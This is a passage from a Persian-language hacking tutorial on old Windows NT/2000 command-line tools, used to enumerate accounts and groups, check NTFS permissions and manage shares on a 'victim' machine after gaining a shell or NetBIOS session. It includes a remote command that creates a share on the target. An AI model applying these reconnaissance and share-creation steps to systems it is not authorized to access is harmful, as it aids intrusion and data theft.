کارش مثل reg است. فقط کليدها و وروديهايي که ميخواهيم اضافه کنيم رو در يک فايل با پسوند ini قرار ميديم و اين ابزار کار مورد نظر رو انجام ميده. مثلا اگه همان کار بالايي رو بخواهيم با regini انجام بديم، يک فايل متني باز ميکنيم به نام مثلا Araz.ini و داخل فايل مينويسيم: HKLM\Software\MyCo\Araz Point = REG_SZ 20.00و بعد مينويسم: regini -m \\xxx.xxx.xxx.xxx Araz.iniاين دستور معمولا موقعي به کار ميره که چند entry (ورودي) رو ميخواهيم به يک key (کليد) اضافه کنيم. در اين حالت اگه بخوايم اين کارو توسط reg انجام بديم، چند بار بايد دستور رو تکرار کنيم.
پ- ابزار تشخيص نوع ويندوز :
۶- gettype :
ابزار بسيار جالبي است که بايد به صورت لوکال روي سرور قرباني اجرا شود. با اجراي اين دستور مشخص ميشود که ويندوز NT قرباني، از نوع Windows Server است يا Windows Workstation و اينکه Domain Controller است يا نه و... من روي ويندوز ۲۰۰۰ خودم نوشتم: gettype /vو جواب شنيدم: Windows NT [Enterprise/Terminal] Server Non-Domain Controllerت- ابزارهاي کار با اکانتها :
۷- whoami :
فرض کنيد که به طريقي يک shell در کامپيوتر قرباني بدست آوردهايم. حالا ميخواهيم ببينيم که دسترسي ما در چه حدي است ( بهعبارت درستتر با چه اکانتي login شدهايم ). بدين منظور از اين نرمافزار استفاده مي کنيم. whoami بايد به صورت لوکال روي قرباني اجرا شود. يعني بايد اين فايل رو به کامپيوتر هدف ارسال کرده و همونجا اجرا کنيم. مينويسيم: whoamiو مثلا جواب ميشنويم: [Group 1] = "Everyone"[Group 2] = "LOCAL"[Group 3] = "IUSR_xxxx-yyyy",...در اين حالت، بالاترين اکانتي ( از نظر سطح اختيارات ) که ليست شود، اکانتي است که ما با اون بالا اومديم.
۸- local :
همونطور که در بالا گفتم، توسط دستور net localgroup ميتونيم ليستي از اکانتهاي مربوط به يک گروه رو بدست بياريم. ولي آن دستور بايد به صورت local اجرا ميشد تا جواب ميداد. اگه بخوايم به صورت remote همينکار رو انجام بديم، بايد از ابزار local.exe استفاده کنيم. مثلا اگه session مربوط به netbios رو تشکيل داده باشم و بخوام بدونم در گروه محلي Administrators چه اکانتهايي هست، مينويسم: local Administrators \\xxx.xxx.xxx.xxx۹- showgrps :
ابزار بسيار خوبي است که بايد به صورت لوکال استفاده شود. ميشه گفت که يهجورايي تکميل whoami است. به کمک اين ابزار ميتونيم هم کشف کنيم که اکانتي که باهاش وارد شديم عضو چه گروههاي محلي است ( واينکه اسم اکانت ما چيست ) و هم اينکه همين اطلاعات رو راجع به هر اکانتي از سيستم که بخوايم بدست بياريم.
براي اينکه بدونم اکانتي که الان باهاش بالا اومدم اسمش چيست و در چه گروههايي عضو است، مينويسم: showgrpsو جواب ميشنوم: User: [computer-name\Administrator], is a member of: computer-name\Administrators \Everyoneمشخص ميشه که اسم اکانت: Administrator است که در دو گروه Administrators و Everyone عضو است.
حالا اگه بخوام بدونم که اکانتي به اسم guest در چه گروههاي محلي شرکت دارد، مينويسم: showgrps guestو جواب ميشنوم: User: [[computer-name\guest], is a member of: \Everyone [computer-name\Guestsوقتي ميخواهيم بدونيم که فلان اکانت متعلق به چه گروههايي است، اينکار توسط دستور net user هم قابل انجام است ( در بالا بحث شد). ولي اگه بخوايم بدونيم که خودمون با چه اکانتي بالا اومديم، اينکار با net user قابل انجام نيست.
۱۰- showmbrs :
در کاربردي که فعلا مد نظر ماست، اين ابزار همان کار دستور net localgroups رو انجام ميده. يعني برخلاف ابزار local.exe ، اين ابزار بايد به صورت محلي و لوکال استفاده بشه. کاربردش هم که واضحه و ميگه که در فلان گروه محلي، چه اکانتهايي هست. مثلا اگه بخوام بدونم در گروه Administrators چه اکانتهايي هست ( يعني چه اکانتهايي دسترسي به سيستم در سطح Admin رو دارند) مينويسم: showmbrs Administratorsث- ابزارهاي بررسي مجوزهاي NTFS:
۱۱- perms :
يک ابزار فوقالعاده و حلال مشکلات! اول کار هم بگم که بايد به صورت لوکال استعمال بشه!! فرض کنيد که شما با يک اکانت به سيستم وارد شدهايد و حالا ميخواهيد ببينيد که اولا: آيا يک درايو خاص به صورت FAT32 پارتيشنبندي شده است يا NTFS ( اين نکته مهمي است زيرا اگه FAT32 باشه، ديگه کار ما بسيار راحت خواهد بود چون مجوزي در کار نيست ) و ثانيا: اگه به صورت NTFS است، فلان فولدر براي فلان يوزر در چه حدي قابل دسترس است ( يعني اينکه براي فلان يوزر، فلان فولدر چه مجوزي دارد).
اولا: آيا مثلا درايو C به صورت NTFS ست شده است يا FAT32 ؟ براي اين منظور اسم يک اکانت از گروه Admin ( مثلا Administrator ) رو انتخاب ميکنم و حالا دستور زير رو اجرا ميکنم: perms administrator c:اگه جواب زير رو بشنوم، يعني FAT32 است: c:\ perms: #-------اگر هر جواب ديگهاي مياومد، ميشد: NTFS
ثانيا: فرض کنيد که حالا مثلا درايو D به صورت NTFS باشد و من هم مثلا با اکانت Guest وارد شدهام. ميخواهم ببينم مثلا فولدر wwwroot که در اين درايو هست، چه حد در دسترس من از نظر مجوزهاي NTFS است؟ مينويسم: perms guest d:\wwwrootو مثلا جواب ميشنوم: d:\wwwroot\ perms: No Accessاين يعني هيچ دسترسي به اون براي اکانت guest وجود ندارد. اگه مياومد: d:\wwwroot\ perms: #RWXDPOAبايد عبارت RWXDPOA# تفسير بشه. هر کدام از اين حرفها اين معني رو ميده: R ReadW WriteX ExecuteD DeleteP Change PermissionsO Take OwnershipA General All- No Access* The specified user is the owner of the file or directory.# A group the user is a member of owns the file or directory.� The user's access permisssions can not be determined.با اين تفاسير ميتونيد ببينيد که مثلا اکانت guest چه مجوزهايي داره. کافي است تک تک خروف رو با جدول بالا تطبيق بديد. مثلا در مثال بالا هم اجازه Read هست ( چون حرف R داريم ) و ...
۱۲- showacls :
اول ACL يا Access Control List قابليتي است که NTFS استفاده ميکند تا مجوزها رو تنظيم کند. ثانيا ACE يا Access Control Entries اظلاعاتي است که مجوز رو کنترل ميکنه تا اکانتهاي خاص فقط مجوزهاي خاص براي کار با فولدر خاصي بگيرند.
اين ابزار يه چيزي تو مايههاي همون perms.exe است که گفتم ولي با اين تفاوت که وقتي يه درايو يا يک فولدر رو مشخص ميکنم، ميتونم تنظيم کنم که تمام زيرشاخههاي اون رو هم از نظر مجوزها بررسي بکنه. مثلا اگه بخوام فولدر j:\wwwroot رو از نظر مجوزها براي مثلا guest چک کنم، مينويسم: showacls /s /u:guest j:\wwwroot\کليد s/ مشخص ميکنه که زيرشاخهها رو هم ميخوام تست کنم. اگه اونو حذف کنم، فقط مجوزهاي فولدر مشخص شده بيان خواهد شد. حالا اگه جواب بياد: Error: Volume type incorrect [FAT32]يعني که اون درايو به صورت FAT32 فرمت شده پس بررسي مجوزها محلي از اعراب نداره! ولي اگه NTFS باشه مثلا مياد: User: [\guest]has the following access to directory [j:\wwwroot\]:j:\wwwroot\j:\wwwrootj:\wwwroot\ali NT AUTHORITY\SYSTEM Read [RX] Everyone Read [RX] NT AUTHORITY\SYSTEM Read [RX] CREATOR GROUP Read [RX] BUILTIN\Administrators Change [RWXD] CREATOR OWNER Change [RWXD],...دقت کنيد که فولدر خيلي پر زيرشاخه رو انتخاب نکنيد که جوابها بقدري زياد ميشه که حتي نميتونيد بخونيد. براي تفسير از جدول زير استفاده کنيد: R GENERIC_READW GENERIC_WRITEX GENERIC_EXECUTE )D DELETEA GENERIC_ALLd FILE_READ_DATA (directory)l FILE_READ_DATA (file)s SYNCHRONIZEr FILE_READ_DATAw FILE_WRITE_DATAa FILE_APPEND_DATArE FILE_READ_EAwE FILE_WRITE_EAfx FILE_EXECUTEج- ابزارهاي کار با share ها :
۱۳- rmtshare :
فرض کنيد که يک session از netbios با اکانتي با سطح Admin ايجاد کردهايم. در اين حالت به کمک اين ابزار ميتونيم به صورت remote مجموعه share ها رو روي سيستم قرباني کنترل کنيم. مثلا يک share اضافه کنيم يا يک share رو پاک کنيم. مثلا اگه بخوام در کامپيوتر قرباني، فولدر c:\info رو واسه اکانتي به اسم guest به صورت فقط خواندني ( يعني فقط Read ) بيام و share کنم و اين share به اسم mydata باشه، بايد بنويسم: rmtshare \\xxx.xxx.xxx.xxx\mydata=c:\info /GRANT guest:readاگه ميخواستم بهجاي فقط خواندني، اجازه تغيير هم صادر کنم، بجاي read ميشد: Change حالا ميخوام همين share رو پاک کنم. مينويسم: rmtshare \\xxx.xxx.xxx.xxx\mydata /DELETE۱۴- netwatch :
يک ابزار گرافيکي است که کار با share ها و مديريت اونها رو راحت ميکنه. خيلي کار باهاش سادهاست و نيازي به توضيح نداره.
۱۵- netcmd :
فرض کنيد که شما الان يک netbios session با قرباني تشکيل دادهايد. اگه يادتون باشه ميتونستيم به کمک net use يک رايو مجازي براي کار با اون ايجاد کنيم. همين کار رو ميشه با اين ابزار انجام داد. مثلا اگه اسم share باشه: Araz مينويسيم: netcmd \\xxx.xxx.xxx.xxx\Araz۱۶- srvcheck :
اين ابزار به ما کمک ميکند که ببينيم که روي سرور چه share هايي هست و چه کساني به اون دسترسي دارند. کاربرد دستور و تفسير نتايج بسيار ساده است، مينويسيم:srvcheck \\xxx.xxx.xxx.xxxدقت کنيد که بهصورت remote کار ميکنيم و نياز به يک netbios session داريم.
چ- ساير ابزارهاي مهم :
در درس بعدي بررسي خواهد شد. ضمنا sc هم به صورت مفصلتر بحث خواهد شد.
** دارالولایه **